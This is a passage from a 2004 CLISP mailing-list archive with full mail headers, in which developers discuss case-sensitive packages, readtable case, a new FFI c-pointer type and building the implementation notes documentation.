Mail-Followup-To: clisp-list@lists.sourceforge.net, Reini Urban Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: cvs build fails, case-sensitivity problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Sep 20 12:24:11 2004 X-Original-Date: Mon, 20 Sep 2004 15:23:13 -0400 > * Reini Urban [2004-09-20 21:04:23 +0200]: > > $ clisp -norc -q -ansi -L ENGLISH -x \ > "(make-package :km :case-sensitive t)(in-package :km)(defun xx ()(print > ok))" > # > # > *** - EVAL: undefined function defun of course - what did you expect? when *PACKAGE* is case-sensitive, "defun" is read as KM::defun, not CL:DEFUN. > I also have problems after > #+clisp (SETF (READTABLE-CASE *READTABLE*) :PRESERVE) I think you need :INVERT here. -- Sam Steingold (http://www.podval.org/~sds) running w2k I'd give my right arm to be ambidextrous. From Joerg-Cyril.Hoehle@t-systems.com Tue Sep 21 04:43:11 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9j38-000852-G8 for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 04:43:10 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1C9j37-0002yl-GV for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 04:43:10 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 21 Sep 2004 13:42:56 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 21 Sep 2004 13:39:18 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03018F9868@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: rurban@x-ray.at Subject: [clisp-list] Re: cvs build fails, case-sensitivity problem MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 04:44:10 2004 X-Original-Date: Tue, 21 Sep 2004 13:39:13 +0200 Reini Urban wrote: >>>CL-USER> (make-package :km :case-sensistive t) >>>CL-USER> (in-package :km) >>>EVAL: undefined function in-package >Maybe I should downcase all existing symbols, [...] Hmm... >(make-package :km :case-sensistive t) If you intend to use CL symbols there, add :use "COMMON-LISP" Inside KM, either of these work for me: o explicit cl: package prefix, with lower case as usual o uppercase -- which people will probably find ugly. [52]> (make-package :km :case-sensitive t :use "CL") # [53]> (in-package"KM") # KM[54]> (apropos"defun") *** - EVAL: undefined function apropos [...] Break 1 KM[55]> (cl:describe cl:*package*) # is the package named KM. It imports the external symbols of 1 package COMMON-LISP and exports no symbols, but no package uses these exports. Break 1 KM[55]> :q KM[56]> (APROPOS"defun") CUSTOM:*DEFUN-ACCEPT-SPECIALIZED-LAMBDA-LIST* variable SYSTEM::C-DEFUN function DEFUN macro SYSTEM::IN-DEFUN SYSTEM::IN-DEFUN-P function Kind regards, J=F6rg From rurban@x-ray.at Tue Sep 21 04:51:06 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9jAl-0000r5-6q for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 04:51:03 -0700 Received: from smartmx-05.inode.at ([213.229.60.37]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1C9jAi-0000yP-GL for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 04:51:03 -0700 Received: from [62.99.252.218] (port=64979 helo=[192.168.0.2]) by smartmx-05.inode.at with esmtp (Exim 4.30) id 1C9jAg-0004bp-Hn for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 13:50:58 +0200 Message-ID: <415015A1.1020500@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Content-Type: text/plain; charset=ISO-8859-15; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] impnotes as windows chm Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 04:52:11 2004 X-Original-Date: Tue, 21 Sep 2004 13:50:57 +0200 I make available the clisp impnotes as Windows CHM (compiled HTML) with links to the parallel CLHS.chm, and optionaly to the CLtL2.chm. (similar to my CormanLisp.chm) I didn't use the docbook processor yet, it's kind of an manual hack so far. save as binary: http://xarch.tu-graz.ac.at/autocad/lisp/cl/clisp.chm http://xarch.tu-graz.ac.at/autocad/lisp/cl/CLHS.chm src: http://xarch.tu-graz.ac.at/autocad/lisp/cl/clisp-chm.zip (windows help compiler required) -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From rurban@x-ray.at Tue Sep 21 05:02:10 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9jLU-0002Lb-QK for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 05:02:08 -0700 Received: from smartmx-07.inode.at ([213.229.60.39]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1C9jLU-0002az-82 for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 05:02:08 -0700 Received: from [62.99.252.218] (port=62412 helo=[192.168.0.2]) by smartmx-07.inode.at with esmtp (Exim 4.30) id 1C9jLR-0007gT-Oc for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 14:02:05 +0200 Message-ID: <4150183D.1080504@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: cvs build fails, case-sensitivity problem References: <5F9130612D07074EB0A0CE7E69FD7A03018F9868@S4DE8PSAAGS.blf.telekom.de> In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03018F9868@S4DE8PSAAGS.blf.telekom.de> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_QUOTE BODY: Text interparsed with " 0.0 SF_CHICKENPOX_SEMICOLON BODY: Text interparsed with ; Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 05:03:05 2004 X-Original-Date: Tue, 21 Sep 2004 14:02:05 +0200 Hoehle, Joerg-Cyril schrieb: > Reini Urban wrote: >>>>CL-USER> (make-package :km :case-sensistive t) >>>>CL-USER> (in-package :km) >>>>EVAL: undefined function in-package > >>Maybe I should downcase all existing symbols, [...] > Hmm... > >>(make-package :km :case-sensistive t) > > If you intend to use CL symbols there, add :use "COMMON-LISP" I read in CLHS that :use "COMMON-LISP" is the default. Now I defined it explicitly. I also switched to defpackage. > Inside KM, either of these work for me: > o explicit cl: package prefix, with lower case as usual > o uppercase -- which people will probably find ugly. Yes, that's the problem. But I found a workaround. ;;; (cl:load (cl:translate-logical-pathname "ai:kb;km;km-2-0-9-packaged")) (defpackage "KM" ;; #+clisp (:case-sensitive t) (:use "COMMON-LISP") (:export "km")) (cl:in-package :km) ;;; shs suggested this: ;;;#+clisp (cl:setf (cl:readtable-case cl:*readtable*) :invert) #+clisp (cl:use-package :common-lisp) ...and so on... ;;; KM package is now the current package (defconstant *km-package* *package*) The case-sensitive package feature (despites brunos 2004 talk), seems to be not that what I want. The explicit symbol generation later on in the read-eval-print loop is case-preservant, so it's basically the same as (:case-sensitive t), but without affecting case of imported packages. So this works fine now: > (a Car) Car1 > (Car has (superclasses (Vehicle))) > [52]> (make-package :km :case-sensitive t :use "CL") > # > [53]> (in-package"KM") > # > KM[54]> (apropos"defun") > *** - EVAL: undefined function apropos > [...] > > Break 1 KM[55]> (cl:describe cl:*package*) > # is the package named KM. > It imports the external symbols of 1 package COMMON-LISP and exports no > symbols, but no package uses these exports. > Break 1 KM[55]> :q > > KM[56]> (APROPOS"defun") > CUSTOM:*DEFUN-ACCEPT-SPECIALIZED-LAMBDA-LIST* variable > SYSTEM::C-DEFUN function > DEFUN macro > SYSTEM::IN-DEFUN > SYSTEM::IN-DEFUN-P function -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From lisp-clisp-list@m.gmane.org Tue Sep 21 05:16:29 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9jZK-0004M0-JK for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 05:16:26 -0700 Received: from main.gmane.org ([80.91.229.2]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1C9jZJ-0008MR-VS for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 05:16:26 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1C9jZH-00049x-00 for ; Tue, 21 Sep 2004 14:16:23 +0200 Received: from 66-117-164-169.dls.net ([66.117.164.169]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 21 Sep 2004 14:16:23 +0200 Received: from dietz by 66-117-164-169.dls.net with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 21 Sep 2004 14:16:23 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: "Paul F. Dietz" Lines: 21 Message-ID: <41501C6B.5000709@dls.net> References: <5F9130612D07074EB0A0CE7E69FD7A03018F9868@S4DE8PSAAGS.blf.telekom.de> <4150183D.1080504@x-ray.at> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 66-117-164-169.dls.net User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.2) Gecko/20040803 X-Accept-Language: en-us, en In-Reply-To: <4150183D.1080504@x-ray.at> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - Subject: [clisp-list] Re: cvs build fails, case-sensitivity problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 05:17:42 2004 X-Original-Date: Tue, 21 Sep 2004 07:19:55 -0500 Reini Urban wrote: > Hoehle, Joerg-Cyril schrieb: > >> Reini Urban wrote: >> Hmm... >> >>> (make-package :km :case-sensistive t) >> >> >> If you intend to use CL symbols there, add :use "COMMON-LISP" > > > I read in CLHS that :use "COMMON-LISP" is the default. > Now I defined it explicitly. I also switched to defpackage. Where did you read that? On the page for MAKE-PACKAGE: use---a list of package designators. The default is implementation-defined. Paul From rurban@x-ray.at Tue Sep 21 05:19:47 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9jcX-0004sr-Sy for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 05:19:45 -0700 Received: from smartmx-07.inode.at ([213.229.60.39]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1C9jcW-0005Ok-W0 for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 05:19:45 -0700 Received: from [62.99.252.218] (port=65314 helo=[192.168.0.2]) by smartmx-07.inode.at with esmtp (Exim 4.30) id 1C9jcV-0007Vx-N1 for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 14:19:43 +0200 Message-ID: <41501C5E.1030600@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; rv:1.8a3) Gecko/20040817 X-Accept-Language: de, en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net References: <5F9130612D07074EB0A0CE7E69FD7A03018F9868@S4DE8PSAAGS.blf.telekom.de> <4150183D.1080504@x-ray.at> <41501C6B.5000709@dls.net> In-Reply-To: <41501C6B.5000709@dls.net> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: cvs build fails, case-sensitivity problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 05:20:47 2004 X-Original-Date: Tue, 21 Sep 2004 14:19:42 +0200 Paul F. Dietz schrieb: > Reini Urban wrote: >> Hoehle, Joerg-Cyril schrieb: >>> Reini Urban wrote: >>> Hmm... >>>> (make-package :km :case-sensistive t) >>> >>> If you intend to use CL symbols there, add :use "COMMON-LISP" >> >> I read in CLHS that :use "COMMON-LISP" is the default. >> Now I defined it explicitly. I also switched to defpackage. > > Where did you read that? On the page for MAKE-PACKAGE: > > use---a list of package designators. The default is > implementation-defined. Sorry, it was in the impnotes: http://clisp.cons.org/impnotes/pack-dict.html#make-pack -- Reini Urban http://xarch.tu-graz.ac.at/home/rurban/ From Joerg-Cyril.Hoehle@t-systems.com Tue Sep 21 07:13:04 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9lOB-0000u3-Bt for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 07:13:03 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1C9lOA-0001VN-BY for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 07:13:03 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 21 Sep 2004 16:12:51 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 21 Sep 2004 16:11:33 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03018F98D9@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Jerome.Abela@free.fr MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_COLON BODY: Text interparsed with : 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ Subject: [clisp-list] new FFI (c-pointer mystruct) declaration (was: FFI:c-ptr loosing original address) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 07:14:01 2004 X-Original-Date: Tue, 21 Sep 2004 16:11:33 +0200 Hi, Jerome Abela wrote: >I'm trying to use an external C function which returns a pointer >to a structure. >I have two needs: >1. I need to pass the pointer to other functions. >2. I need to inspect some of the fields of the structure. >Here are the solutions I was able to implement. >1. Using c-pointer. >2. Using (c-ptr mystruct). I've just implemented the long-awaited (c-pointer mystruct) c-type. It's in CVS. I tink it's exactly what you need. It's not documented in CVS doc/ yet, because I can't remember how I managed to get nsgmls to work to check impnotes.xml. I won't touch an XML file without a checker to assist me. So documentation is left to somebody else for now. Example: In Linux glibc, errno is not an extern variable anymore, but a #define errno *(__errno_location) so that each thread gets its own value. (def-call-out errno-location (:name "__errno_location") (:arguments) (:return-type (c-pointer int))) (define-symbol-macro errno (foreign-value (__errno_location))); setf-able Open issue: (c-pointer nil) is really is strange animal. What is it? Will it be used inadvertently (e.g. by UFFI transformations) in strange ways? If you need void*, then you use c-pointer, just as before. Not (c-pointer nil). Enjoy, Jorg Hohle. From sds@gnu.org Tue Sep 21 07:47:45 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9lvj-0008Si-4J for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 07:47:43 -0700 Received: from [198.112.236.6] (helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1C9lvi-0003V3-G1 for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 07:47:43 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.0.64.31]) by alphatech.com (8.12.10/8.12.10) with ESMTP id i8LElTEp017326; Tue, 21 Sep 2004 10:47:29 -0400 (EDT) To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03018F98D9@S4DE8PSAAGS.blf.telekom.de> (Joerg-Cyril Hoehle's message of "Tue, 21 Sep 2004 16:11:33 +0200") References: <5F9130612D07074EB0A0CE7E69FD7A03018F98D9@S4DE8PSAAGS.blf.telekom.de> Mail-Followup-To: clisp-list@lists.sourceforge.net, "Hoehle, Joerg-Cyril" Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: new FFI (c-pointer mystruct) declaration Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 07:48:11 2004 X-Original-Date: Tue, 21 Sep 2004 10:47:29 -0400 > * Hoehle, Joerg-Cyril [2004-09-21 16:11:33 +0200]: > > It's not documented in CVS doc/ yet, because I can't remember how I > managed to get nsgmls to work to check impnotes.xml. I won't touch an > XML file without a checker to assist me. So documentation is left to > somebody else for now. $ cd clisp/doc $ make check -- Sam Steingold (http://www.podval.org/~sds) running w2k Daddy, why doesn't this magnet pick up this floppy disk? From Joerg-Cyril.Hoehle@t-systems.com Tue Sep 21 09:31:58 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9nYc-0000ki-Hd for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 09:31:58 -0700 Received: from mail1.telekom.de ([62.225.183.202]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1C9nYb-0005rr-3z for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 09:31:58 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 18:31:49 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id ; Tue, 21 Sep 2004 18:30:17 +0200 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03018F9921@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_APOSTROPHE BODY: Text interparsed with ' 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: new FFI (c-pointer mystruct) declaration -- nsgmls finally wo rks again Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 09:32:06 2004 X-Original-Date: Tue, 21 Sep 2004 18:30:14 +0200 >> I can't remember how I >> managed to get nsgmls to work to check impnotes.xml. >$ cd clisp/doc >$ make check I knew this. Doesn't work for me. And I already used this nsgmls to verify other XML schemata (not docbook). [5 hours lost in various trials] Now I have it: make impnotes.xml DTDVER=4.2 DTD=/usr/share/sgml/db42xml/docbookx.dtd wrong: make impnotes.xml DTDVER=4.2 DTD=/usr/share/sgml/docbook_4.2/docbookx.dtd nsgmls -s -wxml -E50 -c /usr/share/doc/packages/sp/html-xml/xml.soc impnotes.xml Regards, Jorg Hohle. From bruno@clisp.org Tue Sep 21 12:58:21 2004 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9qmK-0000JW-Vf for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 12:58:20 -0700 Received: from ftp.ilog.fr ([81.80.162.195]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1C9qmK-0003wQ-3Z for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 12:58:20 -0700 Received: from laposte.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.13.1/8.13.0) with ESMTP id i8LJwD0U017942 for ; Tue, 21 Sep 2004 21:58:13 +0200 (MET DST) Received: from honolulu.ilog.fr ([172.16.15.121]) by laposte.ilog.fr (8.13.1/8.13.1) with ESMTP id i8LJw7wt001173; Tue, 21 Sep 2004 21:58:08 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id BCFC93BB14; Tue, 21 Sep 2004 19:54:03 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200409212154.02606.bruno@clisp.org> X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_HASH BODY: Text interparsed with 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . Subject: [clisp-list] Re: cvs build fails, case-sensitivity problem Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Sep 21 12:59:01 2004 X-Original-Date: Tue, 21 Sep 2004 21:54:02 +0200 Reini Urban writes: > [1]> (make-package :km :case-sensitive t) > # > [2]> (in-package :km) > # > KM[3]> (defun xx ()(print 'ok)) The next clisp version will contain an implementation of http://www-jcsu.jesus.cam.ac.uk/~csr21/papers/lightning/lightning.html#htoc4 Is that what you are looking for? Bruno From rurban@x-ray.at Tue Sep 21 13:59:40 2004 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1C9rjg-00040M-8u for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 13:59:40 -0700 Received: from smartmx-01.inode.at ([213.229.60.33]) by sc8-sf-mx1.sourceforge.net with esmtp (TLSv1:RC4-SHA:128) (Exim 4.41) id 1C9rjd-0002dv-3D for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 13:59:38 -0700 Received: from [62.99.252.218] (port=65503 helo=[192.168.0.2]) by smartmx-01.inode.at with esmtp (Exim 4.30) id 1C9rja-0006wT-Rv for clisp-list@lists.sourceforge.net; Tue, 21 Sep 2004 22:59:34 +0200 Message-ID: <41509636.4090703@x-ray.at> From: Reini Urban User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; de-AT; 